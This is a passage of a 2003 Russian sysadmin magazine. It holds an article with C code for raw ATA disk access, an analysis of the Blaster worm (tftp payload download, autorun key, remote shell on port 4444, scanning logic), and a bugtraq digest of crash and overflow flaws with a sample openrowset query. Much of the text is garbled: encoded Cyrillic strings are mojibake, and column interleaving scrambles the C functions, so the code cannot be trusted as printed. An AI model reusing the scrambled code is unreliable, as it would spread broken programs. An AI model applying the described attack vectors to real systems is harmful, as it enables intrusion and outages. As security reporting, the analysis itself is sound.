Этот массив заполняется во время регистрации блочного устройства в системе. Для регистрации устройства соответствующий драйвер вызывает функцию register_blkdev (см. файл fs/block_dev.c): int register_blkdev(unsigned int major, const char * name, struct block_device_operations *bdops) { .... blkdevs[major].name = name; blkdevs[major].bdops = bdops; return 0; }

Аргумент major – старший номер устройства, name – имя

№9(10), сентябрь 2003

Аргументы функции: int fd – файловый дескриптор устройства; int cmd – команда, посылаемая устройству. Третий параметр является специфичным для каждого устройства, поэтому в прототипе функции не указан.

Доступ к жесткому диску через файл устройства Предположим, что в системе присутствует один накопитель на жестком магнитном диске, который подключен как Primary Master. Согласно обозначениям блочных устройств, принятым в ОС Linux, ему соответствует файл устройства /dev/hda. Разработаем программный модуль, выполняющий чтение первого сектора (MBR) и получающий информацию об устройстве, такой, как модель жесткого диска, его серийный номер,

55


hardware геометрию (число цилиндров/головок/секторов) и число логических блоков. Нам понадобятся следующие заголовочные файлы: #include #include #include #include #include #include

<stdio.h> <fcntl.h> <unistd.h> <sys/types.h> <errno.h> <linux/hdreg.h>

В файле <linux/hdreg.h> определена структура struct hd_driveid, предназначенная для хранения информации идентификации устройства, и перечень команд управления устройством. int main() { struct hd_driveid ide; int hda, sect; char sector[512];

Для доступа к устройству достаточно стандартным способом открыть соответствующий файл устройства: hda=open("/dev/hda",O_RDONLY); if(!hda) { perror("hda"); } sect=open("mbr",O_CREAT|O_RDWR,0600); if(!sect) { perror("sect"); }

Для получения информации идентификации устройства посылаем команду HDIO_GET_IDENTITY. Команда идентификации позволяет считать из контроллера блок из 256 слов, характеризующих устройство. Результат будет сохранен в структуре struct hd_driveid ide, адрес которой задается в качестве третьего аргумента функции ioctl: if(ioctl(hda,HDIO_GET_IDENTITY,&ide)) ↵ perror ("HDIO_GET_IDENTITY");

Как уже было упомянуто, перечень команд управления устройством определен в файле <linux/hdreg.h>. Например, команды включения 32-битного режима обмена данными, режима DMA и мультисекторного чтения выглядят следующим образом: static u_long dma=1, io32set=1, mult=16; if(ioctl(hda,HDIO_SET_32BIT,io32set)) ↵ perror("HDIO_SET_32BIT"); if(ioctl(hda,HDIO_SET_DMA,dma)) perror("HDIO_SET_DMA"); if(ioctl(hda,HDIO_SET_MULTCOUNT,mult)) ↵ perror("HDIO_SET_MULTCOUNT");

Отобразим информацию идентификации устройства: printf("Ñåðèéíûé íîìåð – %s\n",ide.serial_no); printf("Ìîäåëü – %s\n",ide.model); printf("×èñëî ëîãè÷åñêèõ áëîêîâ – %d\n",ide.lba_capacity); printf("×èñëî öèëèíäðîâ – %d\n",ide.cyls); printf("×èñëî ãîëîâîê – %d\n",ide.heads); printf("×èñëî ñåêòîðîâ – %d\n",ide.sectors);

Считываем первый сектор и сохраняем его в отдельном файле:

56

read(hda,sector,sizeof(sector)); write(sect,sector,sizeof(sector)); close(hda); close(sect); return (0); }

Как вы видите, доступ к жесткому диску через файл устройства наиболее простой и удобный, т.к. позволяет абстрагироваться от деталей функционирования устройства. Давайте теперь посмотрим на жесткий диск с точки зрения драйвера, но в начале – немного теории.

Интерфейс АТА Ниже приведены краткие сведения об интерфейсе АТА-2. Для получения детальной информации обратитесь к спецификации.

Регистры АТА-контроллера Каждое устройство АТА (жесткий диск с интерфейсом АТА) имеет стандартный набор регистров, адресуемых сигналами от хост-адаптера (средства сопряжения интерфейса АТА с системной шиной). Набор регистров состоит из двух блоков – блока командных регистров и блока управляющих регистров. Блок командных регистров служит для посылки команд устройству и передачи информации о его состоянии. Состав блока командных регистров: Регистр состояния/команд – в режиме чтения отражает текущее состояние устройства в процессе выполнения команды. Чтение регистра состояния разрешает дальнейшее изменение его бит и сбрасывает запрос аппаратного прерывания. В режиме записи принимает коды команд для выполнения. Назначение бит регистра состояния: Бит 7 – BSY (Busy) указывает на занятость устройства. При единичном значении устройство игнорирует попытки записи в блок командных регистров. При нулевом значении этого бита регистры командного блока доступны. Бит устанавливается под действием аппаратного или программного сброса, а также при получении команды. Бит 6 – DRDY (Device Ready) указывает на готовность устройства к восприятию любых кодов команд. Бит 5 – DF (Device Fault) – индикатор отказа устройства. Бит 4 – DSC (Device Seek Complite) – индикатор завершения поиска трека. Бит 3 – DRQ (Data Request) – индикатор готовности к обмену словом или байтом данных. Бит 2 – CORR (Correct Data) – индикатор исправленной ошибки данных. Бит 1 – IDX (Index) – индекс трактуется специфично для каждого производителя. Бит 0 – ERR (Error) – индикатор ошибки выполнения предыдущей операции. Дополнительная информация содержится в регистре ошибок.


hardware Регистр номера цилиндра (старшего и младшего

байта) и номера сектора имеют двоякое назначение в зависимости от выбранной системы адресации (CHS или LBA). Они инициализируются хост-адаптером, а в случае возникновения ошибки при операции устройство поместит в них адрес, по которому встретилась ошибка. Регистр номера устройства и головки, кроме хранения части адресной информации, служит для выбора ведущего или ведомого устройства (Device-0 и Device-1 согласно спецификации ATA) и метода адресации. Биты 7 и 5 – зарезервированы. Бит 6 – единичным значением указывает на применение режима адресации LBA. При нулевом значении бита используется режим CHS. Бит 4 – DEV (Device) – выбор устройства. При DEV=0 выбрано устройство-0 (Master), при DEV=1 – устройство-1 (Slave). Биты 3-0 имеют двоякое назначение, в зависимости от выбранной системы адресации. В режиме CHS они содержат номер головки, в режиме LBA – старшие биты логического адреса. Регистр данных может использоваться как 8-битный и 16-битный, в зависимости от типа данных, передаваемых в текущей команде. Регистр ошибок хранит состояние выполнения последней операции или диагностический код. Регистр свойств (Features Register) используется в зависимости от команды. Регистр счетчика секторов содержит число секторов, участвующих в обмене. Нулевое значение соответствует 256 секторам.

Блок управляющих регистров используется для управления устройством и получения байта его состояния. В состав блока входят альтернативный регистр состояния и регистр управления устройством. Альтернативный регистр состояния имеет те же биты, что и основной, но его чтение не приводит ни к каким изменениям состояния устройства. В регистре управления устройством биты 7-3 зарезервированы, бит 0 всегда нулевой, используются только два бита: Бит 2 – SRST (Software Reset) – программный сброс действует все время, пока бит не будет сброшен. Оба устройства шины воспринимают программный сброс одновременно. Бит 1 – IEN# (Interrupt Enable) – инверсный бит разрешения прерывания. Адреса регистров контроллера устройства 0 определены в файле <linux/hdreg.h>: /* ðåãèñòð äàííûõ */ #define HD_DATA 0x1f0 /* ðåãèñòð îøèáîê */ #define HD_ERROR 0x1f1 /* ðåãèñòð ñ÷åò÷èêà ñåêòîðîâ */ #define HD_NSECTOR 0x1f2 /* ðåãèñòð ñòàðòîâîãî ñåêòîðà */

№9(10), сентябрь 2003

#define HD_SECTOR 0x1f3 /* ðåãèñòð ìëàäøåãî áàéòà íîìåðà öèëèíäðà */#define HD_LCYL 0x1f4 /* ðåãèñòð ñòàðøåãî áàéòà íîìåðà öèëèíäðà */ #define HD_HCY 0x1f5 /* 101dhhhh, d=óñòðîéñòâî, hhhh=ãîëîâêà */ #define HD_CURRENT 0x1f6 /* ðåãèñòð ñîñòîÿíèÿ/êîìàíä */ #define HD_STATUS 0x1f7

Протокол взаимодействия Обычный протокол взаимодействия хоста с устройством выглядит следующим образом: 1. Хост читает регистр состояния устройства, дожидаясь нулевого значения бита BSY. 2. Дождавшись освобождения устройства, хост записывает в регистр номера устройства и головки байт, у которого бит DEV указывает на адресуемое устройство. 3. Хост читает основной регистр состояния адресованного устройства, дожидаясь признака его готовности (DRDY = 1). 4. Хост заносит требуемые параметры в блок командных регистров. 5. Хост записывает код команды в регистр команд. 6. Устройство устанавливает бит BSY и переходит к исполнению команды. Для команд, не требующих передачи данных (ND): 7. Завершив исполнение команды, устройство сбрасывает бит BSY и устанавливает запрос прерывания. К этому моменту в регистрах состояния и ошибок уже имеется информация о результате выполнения. Для команд, требующих чтения данных в режиме PIO: 7. Подготовившись к передаче первого блока данных по шине АТА, устройство устанавливает бит DRQ. Если была ошибка, она фиксируется в регистрах состояния и ошибок. Далее устройство сбрасывает бит BSY и устанавливает запрос прерывания. 8. Зафиксировав обнуление бита BSY (или по прерыванию), хост считывает регистр состояния, что приводит к сбросу прерывания от устройства. 9. Если хост обнаружил единичное значение бита DRQ, он производит чтение первого блока данных в режиме PIO (адресуясь к регистру данных). Если обнаружена ошибка, считанные данные могут быть недостоверными. После передачи блока данных возможно одно из следующих действий: если на шаге 8 ошибка не обнаружена, а требуется передача следующего блока, устройство устанавливает бит BSY, и данная последовательность повторяется с шага 7. если есть ошибка или передан последний блок данных, устройство сбрасывает бит DRQ и выполнение команды завершается. Операцию записи на жесткий диск рассматривать не будем.

57


hardware Доступ к жесткому диску через порты АТА-контроллера Задача прежняя – получить информацию идентификации устройства и считать MBR. Рассмотрим программный код. Заголовочные файлы: #include #include #include #include

<stdio.h> <fcntl.h> <unistd.h> <linux/hdreg.h>

Для работы с портами ввода/вывода определим несколько макросов: #define OUT_P_B(val,port) asm( "outb %%al, %%dx" ::"a"(val),"d"(port) )

\ \ \ \

#define IN_P_B(val,port) asm( "inb %%dx, %%al" :"=a"(val) :"d"(port) )

\ \ \ \ \

#define IN_P_W(val,port) asm( "inw %%dx, %%ax" :"=a"(val) :"d"(port) )

\ \ \ \ \

Макрос OUT_P_B осуществляет запись байта в порт, макросы IN_P_B и IN_P_W – чтения байта/слова из порта. Для работы с устройством определим несколько функций. Функция проверки статуса устройства (занято/свободно): void hd_busy() { unsigned char status;

Функция проверки готовности устройства к обмену данными: int hd_data_request() { unsigned char status; IN_P_B(status,HD_STATUS); if(status & 0x8) return 1; return 0; }

Если бит 3 (DRQ) регистра состояния установлен, данные находятся в регистре данных и готовы для считывания. Следующая функция проверяет, не произошла ли ошибка при работе устройства: void check_error() { unsigned char a; IN_P_B(a,HD_STATUS); if (a & 0x1) { perror("HD_STATUS"); exit(-1); } return; }

Установленный бит 0 (ERR) регистра состояния означает, что при выполнении последней операции произошла ошибка. Дополнительная информация содержится в регистре ошибок. А теперь рассмотрим функцию получения информации идентификации устройства. void get_hd_identity(struct hd_driveid *hd) { unsigned short a = 0; int i = 0; unsigned short buff1[0x100]; memset(buff1,0,0x100);

В соответствии с протоколом взаимодействия проверяем статус устройства. Оно должно быть свободно: hd_busy();

do { IN_P_B(status,HD_STATUS); } while (status & 0x80); return; }

Проверка статуса устройства осуществляется проверкой значения бита 7 (BSY) регистра состояния. Если бит сброшен, устройство свободно и регистры контроллера доступны. Функция проверки готовности устройства к восприятию команд:

Как только устройство освободилось, в регистр номера устройства и головки заносим значение 0xA0 (10100000 в двоичном виде). Бит 4 (DEV) равен 0, следовательно, нами выбрано ведущее устройство. Режим адресации в данном случае роли не играет, бит 6 оставим нулевым: OUT_P_B(0xA0,HD_CURRENT);

Ожидаем готовность устройства к восприятию команд: void hd_ready() { unsigned char status; do { IN_P_B(status,HD_STATUS); } while (!(status & 0x40)); return; }

Устройство готово, если бит 6 (DRDY) регистра состояния установлен.

58

hd_ready();

Итак, устройство готово. В регистр команд (HD_STATUS) записываем код команды идентификации устройства – 0xEC. Данная команда выполняется в режиме PIO. Полный перечень команд смотрите в спецификации: OUT_P_B(0xEC,HD_STATUS);


hardware В ответ на эту команду устройство установит бит DRQ и вернет блок данных, содержащих информацию идентификации. Для считывания информации организуем цикл:

hd_ready();

В блок командных регистров заносим требуемые параметры:

do { hd_busy(); check_error(); IN_P_W(a,HD_DATA); if((i>=10 && i<=19) || (i>=27 && i<=46)) asm( "xchgb %%ah, %%al" :"=a"(a) :"0"(a)); buff1[i++] = a; } while(hd_data_request());

Дождавшись освобождения устройства, при помощи функции check_error() читаем регистр состояния. При этом мы сбрасываем прерывание от устройства и проверяем, не произошла ли ошибка. Затем считываем из регистра данных значение. Считывание производим до тех пор, пока установлен бит DRQ. Как только будет передан последний блок данных, устройство этот бит сбросит. Считанную информацию сохраним в буфере buff1. Копируем полученную информацию из буфера buff1 в структуру struct hdreg hd:

OUT_P_B(N,HD_NSECTOR); OUT_P_B(s_sect,HD_SECTOR); OUT_P_B(s_cyl,HD_LCYL); OUT_P_B((s_cyl >> 8),HD_HCYL);

В регистр команд записываем код команды чтения секторов с повторами – 0x20. Данная команда выполняется в режиме PIO: OUT_P_B(0x20,HD_STATUS);

Считываем блок данных в буфер buff: do { hd_busy(); check_error(); IN_P_W(a,HD_DATA); buff[i++] = a; } while(hd_data_request());

Считываем последние 4 байта и выходим из функции:

memcpy(hd,(struct hdreg *)buff1,0x100);

IN_P_W(a,HD_DATA); buff[i++] = a; IN_P_W(a,HD_DATA); buff[i] = a;

Очищаем буфер и выходим: memset(buff1,0,0x100); return;

return; }

}

Функция чтения сектора в режиме адресации LBA. Следующая функция осуществляет чтение сектора в режиме адресации CHS. void read_hd_sector_chs(unsigned short N, ↵ unsigned short s_sect, unsigned short s_cyl, ↵ unsigned short head, unsigned short *buff) {

void read_hd_sector_lba(unsigned short N, ↵ unsigned int lba, unsigned short *buff) { int i = 0; unsigned short a; if(!N) return;

int i = 0; unsigned short a; if((!N) || (!s_sect)) return;

Аргументы функции:

N – число секторов для чтения; s_sect – стартовый сектор; s_cyl – стартовый цилиндр; head – номер головки; buff – буфер, куда все помещается. Ожидаем освобождения устройства: hd_busy();

В регистр номера устройства и головки заносим соответствующие данные. Бит 6 сброшен, что указывает на режим адресации CHS: OUT_P_B(0xA0|head,HD_CURRENT);

Ждем готовность устройства к приему команд:

№9(10), сентябрь 2003

Аргументы функции:

N – число секторов для чтения; lba – номер блока; buff – буфер, куда все помещается. Ожидаем освобождения устройства: hd_busy();

Спецификацией АТА-2 в режиме LBA предусмотрен 28битный адрес сектора размером 512 байт, при этом максимальный объем ограничивается значением 0,5 терабайт. В регистре номера устройства и головки бит 6 устанавливаем в 1, а биты 3-0 будут содержать старшие биты логического адреса (27-24): OUT_P_B(0xE0|((lba & 0x0F000000) >> 24),HD_CURRENT);

Ожидаем готовность устройства к приему команд: hd_ready();

59


hardware В блок командных регистров заносим требуемые параметры:

стемы разрешение доступа к портам в диапазоне 0x1f0 – 0x1f7:

OUT_P_B(N,HD_NSECTOR);

В регистр номера сектора заносим биты 7-0 логического адреса:

ioperm(0x1f0,8,1);

Вызовем функцию получения информации идентификации. Результат будет помещен в структуру struct hd_driveid hd: get_hd_identity(&hd);

OUT_P_B((lba & 0x000000FF),HD_SECTOR);

В регистр младшего байта номера цилиндра – биты 15-8 логического адреса:

Отобразим результаты: printf("Ñåðèéíûé íîìåð – %s\n",hd.serial_no); printf("Ìîäåëü – %s\n",hd.model); printf("×èñëî öèëèíäðîâ - %d\n",hd.cur_cyls); printf("×èñëî ãîëîâîê – %d\n",hd.cur_heads); printf("×èñëî ñåêòîðîâ – %d\n",hd.cur_sectors); printf("×èñëî ëîãè÷åñêèõ áëîêîâ – %d\n",hd.lba_capacity);

OUT_P_B(((lba & 0x0000FF00) >> 8),HD_LCYL);

В регистр старшего байта номера цилиндра – биты 23-16 логического адреса: OUT_P_B(((lba & 0x00FF0000) >> 16),HD_HCYL);

А теперь прочитаем первый сектор устройства (MBR) в режиме CHS: sect = 1; cyl = 0; head = 0;

В регистр команд – команду чтения секторов с повторами:

read_hd_sector_chs(N,sect,cyl,head,buff);

OUT_P_B(0x20,HD_STATUS);

Запишем в файл результат: Получаем результат: out=open("sect_chs", O_CREAT|O_RDWR, 0600); write(out,(unsigned char *)buff,0x200*N); close(out);

do { hd_busy(); check_error(); IN_P_W(a,HD_DATA); buff[i++] = a; } while(hd_data_request());

То же самое – в режиме LBA: lba = 0; read_hd_sector_lba(N,lba,buff);

Считываем последние 4 байта и выходим:

out=open("sect_lba", O_CREAT|O_RDWR, 0600); write(out,(unsigned char *)buff,0x200*N); close(out);

IN_P_W(a,HD_DATA); buff[i++] = a;

ioperm(0x1f0,8,0);

IN_P_W(a,HD_DATA); buff[i] = a; return; }

Рассмотрим главную функцию: int main () {

Определим необходимые структуры и переменные: struct hd_driveid hd; int out; unsigned short N = 1; unsigned int sect, cyl, head, lba; /* * N – ÷èñëî ñåêòîðîâ äëÿ ÷òåíèÿ * sect – íîìåð ñåêòîðà * cyl – íîìåð öèëèíäðà * head – íîìåð ãîëîâêè * lba – íîìåð ëîãè÷åñêîãî áëîêà */ unsigned short buff[0x100*N]; memset(buff,0,0x100*N); memset(&hd,0,sizeof(struct hd_driveid));

Чтобы не схлопотать Segmentation fault, запросим у си-

60

return (0); }

Весь вышеприведенный код сохраним в файле disk.c. Исполняемый модуль получим, введя команду: gcc -o disk disk.c

Работоспособность кода была проверена для ОС Linux, версия ядра 2.4.20. Как вы понимаете, рассмотреть в рамках одной статьи всю систему команд стандарта АТА не представляется возможным, да мы и не ставили перед собой такую цель. Желающие могут продолжить освоение данной темы, изучив спецификацию и систему команд стандарта АТА либо исходные тексты утилиты hdparm. Литература: 1. Теренс Чан. Системное программирование на С++ для UNIX. Пер. с англ. – К.: Издательская группа BHV, 1999. – 592 с. 2. Гук. М. Интерфейсы ПК: справочник – СПб: Питер Ком, 1999. – 416 с.



безопасность

ОЧЕРЕДНАЯ ВЕСКАЯ ПРИЧИНА ЗАДУМАТЬСЯ О ПЕРЕХОДЕ С ОС WINDOWS НА АЛЬТЕРНАТИВУ

ВИКТОР ИГНАТЬЕВ 62


безопасность 12 августа, Швеция. 40 серверов интернет-провайдера TeliaSonera в постоянной перезагрузке, администраторы в панике, 20 000 клиентов подверглись атаке компьютеров своего же провайдера, компания на грани банкротства. По всей Азии и Европе большинство корпоративных сетей подвергаются ежеминутной атаке. Многие корпорации несут тысячные убытки, т.к. компьютеры не позволяют обслуживать клиентов. К концу дня информационные агентства в Дании сообщили, что на данный момент парализована работа приблизительно 2000 компьютеров, и эта цифра постоянно увеличивается. В Германии известный автомобильный гигант BMW признал, что многие компьютеры корпорации работают некорректно. Что же это? Массовая атака хакеров? Или, может быть, сбой в операционной системе? Нет, в очередной раз весь мир стал свидетелем воплощения в жизнь реального принципа корпорации Microsoft: «Сначала деньги, а пользователи потом». Многие администраторы и простые пользователи ещё помнят Nimda и Code Red, помнят фразу «Hacked by chinese», и теперь этот список дополнит ещё один – W32.Lovsan.worm, так же он известен как W32.Blaster. Итак, рассмотрим подробнее суть проблемы. 16 июля на bugtraq пришло письмо от польской хакерской группы Last Stage of Delirium. Они заявили, что обнаружили критическую уязвимость защиты во всех недавних версиях операционных систем корпорации Microsoft. Уязвимость затрагивает заданные по умолчанию инсталляции Windows NT 4.0, Windows 2000, Windows XP, а также Windows 2003 Server, которая, кстати, была разрекламирована как не восприимчивая к атакам на переполнение буфера. Это ещё одно подтверждение что «Сначала реклама, а потом дело, и уж после этого может быть качество». LSD предоставили общественности proof of concept code, но полный исходный код эксплоита не был опубликован, т.к. это повлекло бы за собой массовые взломы и создание червей. Реакция Microsoft оказалась на редкость незамедлительной. Буквально в этот же день на официальном сайте компании было опубликовано подтверждение существования уязвимости. Но несмотря на «джентльменский» поступок LSD, 25 июля группа китайских хакеров Xfocus опубликовала полный код эксплоита против англоязычных версий Windows 2000 и XP.

Так в чём же суть проблемы? Уязвимость заключается в посылке специальных данных удалённой машине через порт 135 (TCP/IP). Соединение между клиентом и сервером обеспечивает служба RPC (Remote Procedure Call), которую использует архитектура DCOM. Проблема истекает из ошибки в реализации API-функции: HRESULT CoGetInstanceFromFile( COSERVERINFO * pServerInfo, CLSID * pclsid, IUnknown * punkOuter, DWORD dwClsCtx, DWORD grfMode,

№9(10), сентябрь 2003

OLECHAR * szName, ULONG cmq, MULTI_QI * rgmqResults );

Переполнение буфера происходит в шестом параметре (szName), благодаря которому возможно выполнение любого кода на удалённой машине. После публикации эксплоита от Xfocus и подробного объяснения на сайтах, посвященных компьютерной безопасности, каждый день стали появляться новые реализации от разных хак-групп. В основном отличие от оригинального заключалось в том, что количество поражаемых версий Windows увеличивалось с каждым разом, сначала 7 целей, затем 18, 48 и наконец 8 июля группа oc192 Security предоставила универсальный исходный код, поражающий все версии Windows 2000 и Windows XP. После этого события волна взломов в Интернете подскочила в сотни раз. Каждый скачавший этот код мог спокойно получить административный доступ к любой Windows-системе в сети. Многие кинулись скачивать патчи с официального сайта Microsoft, но буквально через 3 недели сайт оказался недоступным. В ночь c 1 на 2 августа хакеры атаковали сайт Microsoft, до того считавшийся одним из наиболее защищенных ресурсов Интернета. Работа сайта была парализована на час и сорок минут. Эксперты связывают нападение с готовящейся массовой атакой на Интернет, которую хакеры хотят осуществить через брешь в ОС Windows. Атака затронула как главную страницу сайта http://www.microsoft.com, так и многие другие адреса, включая страницу службы технической поддержки http://www.support.microsoft.com и портал для разработчиков http://www.msdn.microsoft.com. Microsoft уже признала факт хакерской атаки, но при этом оградила себя от возможных домыслов по поводу использования взломщиками какой-либо уязвимости в софте, обеспечивающем работу сайта. По словам официального представителя Microsoft Шона Сандволла, специалистами компании установлено, что хакеры совершили «обычную атаку на сервер, однако не воспользовались никакими «дырами» в программном обеспечении». О деталях нападения Сандволл распространяться не стал. Но 12 августа после полудня произошло то, чего так опасались LSD и все мировые организации по сетевой безопасности. В сети появился червь, использующий уязвимость DCOM. За считанные минуты он заполонил европейскую часть Интернета. Полный анализ червя предоставили большинство производителей антивирусных продуктов, но первый временный патч выпустила Symantec. FixBlast сканирует ваш компьютер на предмет заражения Win32.Blaster, удаляет файл червя и его следы в системе. Самый полный отчёт предоставила, на мой взгляд, Лаборатория Касперского, т.к. только они объяснили принцип генерации IP-адресов и сканирования портов жертв.

Как делают Blaster Первое, что обнаружили программисты антивирусных лабораторий, – это текстовые (ASCII) строки внутри файла следующего содержания:

63


безопасность I just want to say LOVE YOU SAN!! billy gates why do you make this possible ? Stop making money and fix your software!!

Что в переводе звучит так: ß õî÷ó ñêàçàòü, ËÞÁËÞ ÒÅÁß, SAN!! Áèëëè Ãåéòñ, ïî÷åìó òû äîïóñêàåøü òàêîå? Ïðåêðàùàé äåëàòü äåíüãè è èñïðàâü ñâî¸ ïðîãðàììíîå îáåñïå÷åíèå!!

После полного анализа червя выяснилось следующее:

Червь проникает в компьютер, используя удалённое

выполнение команд посредством переполнения буфера. Выполняется GET-запрос на закачку тела вируса через команду tftp. Помещение файла msblast.exe в %WinDir%\system32 и его запуск. Регистрация червя в ключе автозапуска: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run Ключ: windows auto update=«msblast.exe» Червь открывает порт 69 (tFTP-server) для последующего размножения.

Далее идёт процесс сканирования и генерации IP-адресов новых жертв. Это происходит следующим образом: червь сканирует IP-адреса текущей подсети и пытается соединиться с 20 IP-адресами для инфицирования уязвимых компьютеров, после этого червь делает паузу в течение 1,8 секунды, а затем снова сканирует следующие 20 IP-адресов и повторяет этот процесс в бесконечном цикле до перезагрузки компьютера. Например, мы имеем подсеть 192.168.1.0/24, IP-адрес заражённого компьютера 192.168.1.134, червь сканирует так: 192.168.1.0-19 ïàóçà 1.8 ñåê 192.168.1.20-39 ïàóçà è ò.ä.

Более того, червь имеет 2 метода сканирования IPадресов: в 60% случаях червь выбирает случайный адрес подсети (A.B.C.D), где D равен 0, а A, B, C случайно выбраны из диапазона 1-255. Таким образом, сгенерированная подсеть находится в диапазоне [1-255].[1-255].[1255].0. В 40% червь сканирует свою подсеть. Он определяет адрес локального компьютера (A.B.C.D), устанавливает D в ноль и выбирает значение C. Если C больше, чем 20, то червь выбирает случайное число от 1 до 20. Если C меньше или равно 20, червь не изменяет его. Запуск командной оболочки «cmd.exe» на TCP-порту 4444. Как заявляет Лаборатория Касперского, если бы не было 1.8-секундной задержки, то многие узлы Интернета не выдержали бы такой нагрузки и отказали. Вполне возможно, что это было учтено автором червя для более успешной атаки на сайт обновлений Microsoft. Побочным эффектом червя является как раз то, изза чего компании всего мира терпят убытки. При получении доступа используется не универсальный метод,

64

поэтому в большинстве версий Windows отказывает критическая системная служба Remote Procedure Call, и компьютер автоматически перезагружается в течение минуты. В этот момент пользователь наблюдает окно с ошибкой «RPC service failing» и отсчёт времени до перезагрузки. Но это ещё не всё. 16 августа 2003 года червь запускает DDoS-атаку на сервер http://www.windowsupdate.com, пытаясь таким образом затруднить или прервать его работу. Трудно представить ее последствия, так как в связи с перегрузкой многих узлов возможны были региональные отключения сети Интернет, как это было в случае с SQL Slammer. Однако, как всегда, вмешался Его Величество Случай – кризис энергетической системы США сорвал запланированную атаку или отложил на некоторое время.

А как же лекарство? 1. Официальный патч от Microsoft(c): http://www.microsoft.com/technet/treeview/ default.asp?url=/technet/security/bulletin/MS03-026.asp 2. Временный патч FixBlast от Symantec(c): http://securityresponse.symantec.com/avcenter/venc/data/ w32.blaster.worm.removal.tool.html Если у вас какие-то проблемы со скачиванием файла, то вы можете просто отключить службу DCOM. Пуск → Выполнить → dcomcnfg.exe → Службы компонентов → Компьютеры → Мой компьютер → Свойства по умолчанию – убрать галку «Разрешить использование DCOM на этом компьютере». Также заблокируйте порт 135 TCP и 69 UDP на ваших межсетевых экранах.

Используемые сокращения: 1. DCOM – архитектура, предназначенная для взаимодействия компонентов COM. 2. UDP – User Datagram Protocol (протокол пользовательских дэйтаграмм). 3. SP – Service Pack (набор исправлений).. 4. RPC – Remote Procedure Call (удалённый вызов процедур). 4. DDoS – Distributed Denial of Service Attack (распределённая атака на отказ в обслуживании). 5. Proof of concept code – исходный код, доказывающий существование уязвимости. При написании статьи использовались материалы следующих источников: http://www.securityfocus.com http://www.lsd-pl.net http://www.xfocus.com http://www.securitylab.ru http://www.void.ru http://www.symantec.ru http://www.packetstormsecurity.nl http://www.viruslist.com http://www.compulenta.ru http://www.salon.com


bugtraq

Удаленный DoS против Avant Browser Уязвимость обнаружена в Avant Browser. Удаленный пользователь может сконструировать HTML, который аварийно завершит работу браузера. Удаленный пользователь может сконструировать URL, который, когда будет загружен в браузере целевого пользователя, аварийно завершит работу браузера. Пример: http://AAAAAAA[more 780 chars]

Уязвимость обнаружена в Avant Browser 8.02.

Отказ в обслуживании через некорректные POST-запросы в Lotus Domino Web Server Отказ в обслуживании обнаружен в Lotus Domino Web Server (nhttp.exe). Удаленный пользователь может аварийно завершить работу веб-сервера. Удаленный пользователь может послать незавершенный POST-запрос используя s_Validation-форму, чтобы эксплуатировать эту уязвимость. Удаленный пользователь может также послать POST-запрос, используя h_PageUIформу с несуществующим параметром, чтобы эксплуатировать уязвимость. Примеры см. в источнике сообщения. Уязвимость обнаружена в Lotus Domino Web Server 5.x, 6.0. Для устранения уязвимости установите соответствующее обновление, которое можно скачать отсюда: http:// www-1.ibm.com/support/docview.wss?uid=swg21104528

Выполнение произвольного сценария в определенном домене в RealOne Player Уязвимость обнаружена в RealOne Player. Удаленный пользователь может сконструировать медийный файл, который выполнит произвольный код сценария в определенном домене. Удаленный пользователь может сконструировать специально обработанный SMIL-файл, который, когда будет загружен целевым пользователем, выполнит произвольный Javascript или VBScript-код в домене произвольного URL. Уязвимость обнаружена в RealOne Player (English only), RealOne Player v2 for Windows (all language versions), and RealOne Enterprise Desktop (all versions, standalone and as configured by the RealOne Desktop Manager). Для устранения уязвимости используйте «Check for Update» в меню «Tools».

№9(10), сентябрь 2003

Удаленное переполнение буфера через MDAC в MS SQL-сервере (подробности эксплуатации) Unicode переполнение буфера обнаружено в MDAC, которая используется Server QL-DMO библиотекой. Удаленный атакующий может выполнить произвольный код на целевой системе. Уязвимость можно эксплуатировать через широковещательные запросы. Одна из особенностей сетевой библиотеки SQL-сервера – возможность запрашивать список SQL-серверов в локальной сети. Для этого посылается широковещательное UDP-сообщение к 1434 порту, которое достигнет всех приложений в локальной сети. Эта функция – компонент SQL-DMO, который используется SQL Server Service Manager (всякий раз при запуске), Enterprise Manager (при регистрации сервера), Query Analyzer и SQL (при клике на «...» клавишу), DTS (при выборе SQL-сервера) и т. п. Все SQL-серверы, получающие широковещательный запрос, отвечают стандартным UDP-пакетам. Если злонамеренная машина отвечает на этот широковещательный запрос слишком длинным пакетом, произойдет переполнение буфера. Переполнение происходит в UNICODE-строке, так что для эксплуатации этого переполнения буфера должен использоваться Venetian-метод. Любые утилиты SQL-сервера, которые используют SQL-DMO-функцию для поиска SQL-серверов, уязвимы к этому нападению. Нападающий может использовать несколько методов для эксплуатации этой уязвимости: Установить службу, слушающую на 1434 UDP-порту, которая будет посылать эксплоит при получении данных. В этом случае злонамеренный сервис должен находиться в той же самой подсети. Засыпать удаленную подсеть UDP-пакетами, надеясь, что кто-то сделает уязвимый запрос. Например, посылайте злонамеренные пакеты каждые 2 сек к 192.168.3.255, которые достигнут всех машин на 192.168.3.x подсети. Когда кто-то наконец пошлет широковещательный UDP-пакет, то они примут злонамеренный пакет и подвергнутся действию эксплоита. Также возможно через низко привилегированную учетную запись в MS SQL-сервере послать запрос напрямую к IP-адресу на сети. Следующая SQL-инструкция заставит SQL-сервер запросить хост с именем SERVER с UDP-пакетом: SELECT * FROM openrowset( 'SQLOLEDB', ↵ 'server=SERVER\instancename;uid=sa;pwd=', '')

Могут быть и другие методы заставить SQL-сервер посылать UDP-запрос и вызвать переполнение. Уязвимость обнаружена в Microsoft Data Access Components 2.5sp1 – 2.7 SP1. Составил Александр Антипов

65


безопасность

Построение переносимого Shell-кода для Windows-систем

Всё чаще и чаще обсуждаются аспекты атак на Windows-системы. Основные возможности атак на семейство данных систем были уже рассмотрены, но не стоит забывать о том, что при построении атаки на переполнение буфера в большинстве случаев атакующий сталкивается с построением shell-кода.

СТАНИСЛАВ ГОШКО 66


